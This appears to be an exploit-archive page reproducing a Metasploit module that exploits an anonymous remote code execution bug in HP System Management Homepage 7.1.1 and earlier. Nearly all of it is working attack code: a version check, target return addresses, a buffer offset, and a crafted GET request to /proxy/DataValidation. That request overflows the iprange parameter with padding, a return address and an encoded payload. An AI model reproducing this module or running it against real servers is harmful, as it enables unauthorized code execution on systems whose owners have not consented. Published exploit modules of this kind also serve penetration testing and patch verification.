[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : HP System Management Anonymous Access Code Execution
# Published : 2013-04-08
# Author :
# Previous Title : KNet Web Server 1.04b - Stack Corruption BoF
# Next Title : Novell ZENworks Configuration Management Remote Execution


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  HttpFingerprint = { :pattern => [ /HP System Management Homepage/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP System Management Anonymous Access Code Execution',
      'Description'    => %q{
          This module exploits an anonymous remote code execution on HP System Management
        7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on
        a request against /proxy/DataValidation. In order to work HP System Management must
        be configured with Anonymous access enabled.
      },
      'Author'         => [ 'agix' ], # @agixid
      'License'        => MSF_LICENSE,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1000,
          'BadChars' => "x00x25x0ax0bx0dx3ax3bx09x0cx23x20",
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ESP' # See the comments below
            }
        },
      'Platform'       => ['linux'],
      'Arch'           => ARCH_X86,
      'References'   =>
        [
          ['OSVDB', '91812']
        ],
      'Targets'        =>
        [
          [ 'HP System Management 7.1.1 - Linux (CentOS)',
            {
              'Ret' => 0x8054e14, # push esp / ret
              'Offset' => 267
            }
          ],
          [ 'HP System Management 6.3.0 - Linux (CentOS)',
            {
              'Ret' => 0x805a547, # push esp / ret
              'Offset' => 267
            }
          ]
        ],
      'DisclosureDate' => 'Sep 01 2012',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(2381),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ], self.class)

  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => "/cpqlogin.htm"
    })

    if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
      version = $1
      return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1"
    end

    return Exploit::CheckCode::Safe
  end

  def exploit

    padding = rand_text_alpha(target['Offset'])
    ret = [target['Ret']].pack('V')
    iprange = "a-bz"+padding+ret+payload.encoded

    print_status("#{rhost}:#{rport} - Sending exploit...")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => "/proxy/DataValidation",
      'encode_params' => false,
      'vars_get' => {
        'iprange' => iprange
      }
    })

  end

end